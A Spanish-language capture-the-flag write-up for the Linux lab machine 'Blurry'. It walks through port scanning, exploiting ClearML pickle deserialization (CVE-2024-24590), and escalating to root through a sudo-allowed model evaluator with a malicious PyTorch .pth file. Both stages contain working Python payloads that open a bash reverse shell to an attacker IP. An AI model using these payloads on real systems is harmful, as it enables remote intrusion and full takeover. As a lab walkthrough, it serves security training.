Blurry

OS: Linux
Dificultad: Medio
Puntos: 30

Nmap

ports=$(nmap -p- --min-rate=5000 -T4 10.129.103.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p $ports -sC -sV 10.129.103.27
Nmap scan report for 10.129.103.27
Host is up (0.19s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|   256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://app.blurry.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Agregamos el dominio al archivo hosts.

echo '10.129.103.27   blurry.htb app.blurry.htb' >> /etc/hosts

Si accedemos a la web nos muestra un panel que nos pide un nombre. Si le damos solo un espacio vemos varios nombres.

Utilizamos el de Chad Jippity para acceder.

ClearML Pickle Load on Artifact Get (CVE-2024-24590)

Investigando vulns relacionadas con el software, descubrimos que es vulnerable a pickle deserialization. Para explotar esta vulnerabilidad tenemos que hacer lo siguiente.

Configuration

Primero creamos nuestras credenciales como muestra aqui.

https://clear.ml/docs/latest/docs/getting_started/ds/ds_first_steps/

Ahora iniciamos nuestro proyecto.

virtualenv venv
source venv/bin/activate
pip install clearml
clearml-init

Copiamos todo el json que nos dio la pagina y nos mostrara el siguiente error.

Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NameResolutionError("<urllib3.connection.HTTPConnection object at 0x7fb9cae632d0>: Failed to resolve 'api.blurry.htb' ([Errno -2] Name or service not known)")': /auth.login

Por lo tanto necesitamos agregar el dominio api.blurry.htb a nuestros hosts. Una vez hecho esto ejecutamos otra vez el comando y ahora sera correcto.

Exploit

En este blog https://hiddenlayer.com/research/not-so-clear-how-mlops-solutions-can-muddy-the-waters-of-your-supply-chain/ explican el funcionamiento de la vuln.

Creamos nuestro archivo python. Esto creara una tarea en el proyecto Black Swan que ya esta configurado en el servidor y ejecutara nuestro payload serializado.

import os
import pickle
from clearml import Task

class RunCommand:
        def __reduce__(self):
                return (os.system, ('bash -c "bash -i >& /dev/tcp/10.10.14.72/1234 0>&1"',))

command = RunCommand()
task = Task.init(project_name='Black Swan', task_name='pickle_artifact_upload', tags=['review'], output_uri=True)
task.upload_artifact(name='pickle_artifact', artifact_object=command, retries=2, wait_on_upload=True)

Ejecutamos nuestro exploit.

python3 exploit.py
ClearML Task: created new task id=bd042f188f784924b50265b1e94ccaa6
2024-06-11 09:21:20,509 - clearml.Task - INFO - No repository found, storing script code instead
ClearML results page: http://app.blurry.htb/projects/116c40b9b53743689239b6b460efd7be/experiments/bd042f188f784924b50265b1e94ccaa6/output/log
ClearML Monitor: GPU monitoring failed getting GPU reading, switching off GPU monitoring

Veremos que la pagina web estara nuestra tarea en la espera de ser revisada.

Tenemos que esperar un momento hasta que el usuario revise la tarea y sea ejecutada para que nos regrese la reverse shell.

Prvilege Escalation

Para mayor comodidad copiamos la llave RSA del usuario jippity y nos conectamos por SSH.

┌──(root㉿kali)-[~/htb/Box/Blurry]
└─# ssh -i jippity_rsa jippity@10.129.72.154
Linux blurry 5.10.0-30-amd64 #1 SMP Debian 5.10.218-1 (2024-06-01) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Jun 11 09:51:20 2024 from 10.10.14.72
jippity@blurry:~$

El usuario puede ejecutar el siguiente comando como sudo.

jippity@blurry:~$ sudo -l
Matching Defaults entries for jippity on blurry:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jippity may run the following commands on blurry:
    (root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth

Tenemos que crear nuestro archivo pth. Lo haremos con el siguiente script.

import torch
import torch.nn as nn
import os

class CustomModel(nn.Module):
    def __init__(self):
        super(CustomModel, self).__init__()
        self.linear = nn.Linear(10, 1)
   
    def forward(self, x):
        return self.linear(x)
   
    def __reduce__(self):
        # Custom reduce method
        cmd = 'bash -c "bash -i >& /dev/tcp/10.10.14.72/1234 0>&1"'
        return os.system, (cmd,)

# Create an instance of the model
model = CustomModel()
# Save the model using torch.save
torch.save(model, 'doom.pth')

Copiamos el script y lo ejecutamos para que nos genera el archivp pth.

jippity@blurry:/models$ nano root.py
jippity@blurry:/models$ python3 root.py 
jippity@blurry:/models$ ls -la
total 1076                                                                                                                                                                                        
drwxrwxr-x  2 root    jippity    4096 Jun 11 10:17 .                                                                                                                                              
drwxr-xr-x 19 root    root       4096 Jun  3 09:28 ..                                                                                                                                             
-rw-r--r--  1 root    root    1077880 May 30 04:39 demo_model.pth                                                                                                                                 
-rw-r--r--  1 jippity jippity     916 Jun 11 10:17 doom.pth                                                                                                                                       
-rw-r--r--  1 root    root       2547 May 30 04:38 evaluate_model.py                                                                                                                              
-rw-r--r--  1 jippity jippity     526 Jun 11 10:17 root.py

Ahora ejecutamos el comando sudo.

/usr/bin/evaluate_model /models/doom.pth

Obtenemos root.